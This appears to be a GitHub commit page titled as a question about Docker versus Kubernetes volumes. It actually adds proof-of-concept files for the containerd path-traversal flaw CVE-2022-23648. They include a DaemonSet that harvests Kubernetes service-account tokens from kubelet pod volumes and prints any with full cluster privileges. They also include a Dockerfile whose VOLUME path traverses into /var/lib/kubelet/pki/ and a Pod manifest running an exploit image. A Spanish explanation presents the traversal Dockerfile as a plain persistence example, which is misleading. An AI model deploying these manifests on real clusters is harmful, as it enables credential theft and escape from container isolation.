-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
difference between volume in dockerfile or k8s manifest
- Loading branch information
Showing
8 changed files
with
66 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
apiVersion: apps/v1 | ||
kind: DaemonSet | ||
metadata: | ||
name: poctest | ||
namespace: default | ||
labels: | ||
app: poctest | ||
spec: | ||
selector: | ||
matchLabels: | ||
app: poctest | ||
template: | ||
metadata: | ||
labels: | ||
app: poctest | ||
spec: | ||
tolerations: | ||
- key: node-role.kubernetes.io/master | ||
operator: Exists | ||
effect: NoSchedule | ||
containers: | ||
- name: poctest | ||
image: ghcr.io/bgeesaman/cve-2022-23648-poc:v1 | ||
command: ["bash", "-c"] | ||
args: | ||
- | | ||
# Search /var/lib/kubelet/pods/*/volumes/* for files named 'token' | ||
# which are the Kubernetes SA tokens | ||
# Loop through each one found | ||
for i in $(find /var/lib/kubelet/pods/*/volumes/* -name 'token' -type f); do | ||
# If it's got all privileges in all namespaces | ||
if [ "$(kubectl --token=`cat $i` auth can-i '*' '*' -A | grep yes)" == 'yes' ]; then | ||
TOKEN="$(cat $i)"; | ||
# Send it to standard out | ||
echo $TOKEN; | ||
# And stop processing | ||
break; | ||
fi; | ||
done | ||
# Since these tokens expire, wait 30m, crash, and repeat | ||
sleep 1800; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
# finding | ||
|
||
¿Cual es la diferencia de colocar el volumen en el deployment de kubernetes (manifiesto) y colocarlo en el dockerfile? | ||
|
||
La diferencia principal entre declarar un volumen en el Dockerfile versus hacerlo en el manifiesto de Kubernetes es el alcance y control que cada opción permite en el entorno de ejecución del contenedor. | ||
|
||
|
||
FROM registry.access.redhat.com/ubi8/ubi | ||
VOLUME /../../../../../../../../var/lib/kubelet/pki/ | ||
ENTRYPOINT "/bin/bash" | ||
|
||
|
||
Estás indicando a Docker que el directorio especificado debe mantenerse independiente del sistema de archivos del contenedor para evitar la pérdida de datos. Este volumen no se monta automáticamente en Kubernetes, a menos que se declare explícitamente en el manifiesto. En el contexto de Kubernetes, la declaración de volumen en el Dockerfile actúa más como una sugerencia que el entorno de Kubernetes no seguirá automáticamente. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
apiVersion: v1 | ||
kind: Pod | ||
metadata: | ||
name: poctest | ||
spec: | ||
containers: | ||
- name: poctest | ||
image: ghcr.io/raesene/cve-2022-23648-poc:v1 | ||
command: ["/bin/bash", "-c", "--"] | ||
args: [ "while true; do sleep 30; done" ] | ||
|
||
# Obtained from https://github.com/raesene/CVE-2022-23648-POC/ |